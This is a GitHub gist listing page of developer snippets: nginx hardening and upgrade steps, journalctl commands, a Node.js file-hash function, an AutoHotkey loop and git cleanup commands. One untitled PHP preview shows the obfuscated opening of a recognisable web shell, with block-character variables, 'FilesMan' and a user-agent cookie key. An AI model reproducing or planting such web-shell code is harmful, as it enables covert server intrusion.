Skip to content

Instantly share code, notes, and snippets.

View kosinix's full-sized avatar

Kosinix kosinix

  • Philippines
View GitHub Profile
@kosinix
kosinix / details.md
Last active July 3, 2024 08:22
Securing NGINX

Securing NGINX

Hide nginx version

server_tokens off;

HTTP Strict Transport Security (HSTS) policy

HSTS is a security feature that ensures connections to your server occur only over HTTPS, thereby mitigating risks associated with protocol downgrade attacks and improving overall security by enforcing secure connections.

add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload";

Read last lines

journalctl -u hris -n 50 -f

Download

journalctl -u hris -S today --no-tail > hris.log

@kosinix
kosinix / nginxupgrade.md
Created June 25, 2024 13:21
Upgrade nginx 1.18.0 to 1.26.1 on Ubuntu 20.04, 22.04

Upgrade nginx 1.18.0 to 1.26.1

Ubuntu 20.04, 22.04

Install the prerequisites:

sudo apt install curl gnupg2 ca-certificates lsb-release ubuntu-keyring

Import an official nginx signing key so apt could verify the packages authenticity. Fetch the key:

@kosinix
kosinix / getHash.js
Created May 7, 2024 13:07
Generate hash of text file contents Nodejs for checksum
const crypto = require('crypto')
const { readFileSync } = require('fs')
const getHash = (fileBuffer) => {
const hashSum = crypto.createHash('sha256')
hashSum.update(fileBuffer)
const hex = hashSum.digest('hex')
return hex
}
@kosinix
kosinix / autofocus.ahk
Created December 3, 2023 07:46
Auto focus on a window by its title every 5 seconds. Uses AutoHotkey v1
SetTitleMatchMode, 2
Loop
{
WinActivate, Chrome
Sleep, 5000
}
@kosinix
kosinix / _.cheatsheet.js
Last active August 6, 2021 01:56
Lodash Cheatsheet
// Sort array based on array of sorted IDs
let unsorted = [
{
id: 'bcd'
},
{
id: 'abc'
}
]
<?php
$â–› = "";
$â–˜ = true;
$▜ = 'UTF-8';
$â–š = 'FilesMan';
$â–™ = md5($_SERVER['HTTP_USER_AGENT']);
if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])."key"])) {
prototype(md5($_SERVER['HTTP_HOST'])."key", $â–™);
}
@kosinix
kosinix / gist:5158f604356c3d11ab8855f6f1723544
Created June 13, 2021 23:34
kill all running node app ubuntu
killall -9 node
/**
* Generates random string and password hashing
* @type {module:crypto}
*/
//// Core modules
const crypto = require('crypto');
const util = require('util');
//// External modules
@kosinix
kosinix / gist:ce3dcccaf50105b5c2248c084eb21ac2
Created June 12, 2020 09:58
Update gitignore and remove from repo
git rm -r --cached .
git add .
git commit -m 'Removed all files that are in the .gitignore'